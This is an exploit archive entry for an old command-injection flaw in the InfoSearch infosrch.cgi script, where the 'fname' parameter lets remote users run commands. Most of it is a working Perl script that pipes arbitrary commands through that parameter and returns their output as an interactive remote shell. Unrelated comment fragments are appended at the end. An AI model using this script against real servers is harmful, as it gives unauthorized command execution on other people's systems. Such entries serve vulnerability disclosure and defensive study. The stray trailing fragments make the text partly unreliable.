source: http://www.securityfocus.com/bid/1031/info
The InfoSearch package converts man pages and other documentation into HTML web content. The search form uses infosrch.cgi which does not properly parse user input in the 'fname' variable, allowing commands to be executed at the webserver privilege level by remote web users.
#!/usr/bin/perl -w
# infosearch.cgi interactive shell.
# usage: ./infosh.pl hostname
# 3/4/00
# --rpc <[email protected]>
use IO::Socket;
use CGI ":escape";
$|++;
die "usage: $0 hostn" unless(@ARGV == 1);
($host) = shift @ARGV;
$cgi = "/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|";
# url encode and send a command.
sub send_cmd
{
my($url_command) = $cgi . CGI::escape(shift);
$s = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>"tcp");
if(!$s) { die "denied.n"; }
print $s "GET $url_command HTTP/1.0rn";
print $s "User-Agent: rnrn";
@result = <$s>;
shift @result until $result[0] =~ /^rn/; # uninteresting data.
shift @result; $#result--;
return @result;
}
# draw a pseudo prompt. i like "h:w $ ".
sub prompt
{
@res = send_cmd("/sbin/pwd");
chomp($pwd = $res[0]);
print "$host:", $pwd, "$ ";
}
prompt;
while(!eof(STDIN)) {
chomp($cmd = <STDIN>);
print send_cmd($cmd);
prompt;
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666